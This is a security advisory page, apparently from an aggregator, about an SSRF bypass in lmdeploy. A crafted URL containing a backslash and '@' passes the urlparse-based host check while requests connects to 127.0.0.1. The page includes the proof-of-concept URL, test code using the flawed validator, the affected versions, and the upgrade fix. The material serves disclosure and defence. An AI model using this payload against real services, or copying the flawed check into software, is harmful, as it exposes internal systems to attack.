# GHSA-39wr-7q6h-cf68: LMDeploy has an SSRF bypass
> Attackers can bypass URL validation to perform Server-Side Request Forgery attacks against internal services.
- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 18 Sep 2026
## What is GHSA-39wr-7q6h-cf68?
GHSA-39wr-7q6h-cf68 is a server-side request forgery vulnerability in lmdeploy, published on 18 Sep 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
### Official description
### Summary
The URL checking logic in lmdeploy has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.
### Details
The current lmdeploy project uses `_is_safe_url` to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks.
However, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using `_is_safe_url` for URL validation, and then using requests.Session().get to send the request.
The core issue: `urlparse()` and `requests` disagree on which host a URL like `http://127.0.0.1:6666\@1.1.1.1` points to:
- `urlparse()` treats `\` as a regular character and `@` as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public)
- `requests` treats `\` as a path character, connecting to `127.0.0.1` (internal)
Below is a test code I wrote following the code.
```
from urllib.parse import urlparse
import ipaddress
import socket
import requests
def _is_safe_url(url: str) -> tuple[bool, str]:
"""Check if the URL is safe to fetch (not internal/private)."""
try:
parsed = urlparse(url)
if parsed.scheme not in ("http", "https"):
return False, f"Unsupported scheme: {parsed.scheme}"
hostname = parsed.hostname
if not hostname:
return False, "Could not parse hostname from URL"
# check all IPs (IPv4 + IPv6) using getaddrinfo
try:
infos = socket.getaddrinfo(hostname, None)
except socket.gaierror:
return False, "Hostname resolution failed"
for info in infos:
ip = ipaddress.ip_address(info[4][0])
# block any IP that is not globally routable (covers private, loopback,
# link-local, multicast, reserved, unspecified, etc.)
if not ip.is_global:
return False, f"Blocked non-global IP detected: {ip}"
return True, "URL is safe"
except Exception as e:
return False, f"URL validation failed: {str(e)}"
# url = "http://127.0.0.1:6666"
url = "http://127.0.0.1:6666\@1.1.1.1"
is_safe, reason = _is_safe_url(url)
if not is_safe:
raise ValueError(f"URL is blocked for security reasons: {reason}")
fetch_timeout = 10
client = requests.Session()
client.max_redirects = 3
response = client.get(url, timeout=fetch_timeout, allow_redirects=True)
```
When an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it.
However, when an attacker uses `http://127.0.0.1:6666\@1.1.1.1`, the detection logic resolves the host to `1.1.1.1`, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to `http://127.0.0.1:6666/`, bypassing the detection and achieving an SSRF attack.
### PoC
```
http://127.0.0.1:6666\@1.1.1.1
```
### Impact
SSRF
## Which versions are affected by GHSA-39wr-7q6h-cf68?
2 open source packages ship an affected version, including lmdeploy.
| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `lmdeploy` | PyPI | From 0.12.3 | 0.15.0 |
| `lmdeploy` | PyPI | From 0.12.3 | 0.15.0 |
## How do I fix GHSA-39wr-7q6h-cf68?
Upgrade lmdeploy to 0.15.0 or later.
## Is GHSA-39wr-7q6h-cf68 being exploited?
There is no known exploitation of GHSA-39wr-7q6h-cf68 in the wild and no public exploit code.
## Fix prompt for AI coding agents
```text
Check this codebase for GHSA-39wr-7q6h-cf68 and fix it if it is affected.
What it is: GHSA-39wr-7q6h-cf68 is a server-side request forgery vulnerability in lmdeploy, published on 18 Sep 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-39wr-7q6h-cf68 in the wild and no public exploit code.
Affected packages and fixed versions:
- lmdeploy (PyPI): affected from 0.12.3; fixed in 0.15.0
- lmdeploy (PyPI): affected from 0.12.3; fixed in 0.15.0
Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.
Reference: https://insights.sbomify.com/GHSA-39wr-7q6h-cf68/ (Markdown: https://insights.sbomify.com/GHSA-39wr-7q6h-cf68/index.md)
```
## Sources
- OSV: https://osv.dev/vulnerability/GHSA-39wr-7q6h-cf68
---
From sbomify Insights: https://insights.sbomify.com/GHSA-39wr-7q6h-cf68/
Summaries are generated and may contain mistakes; the official description above is the record.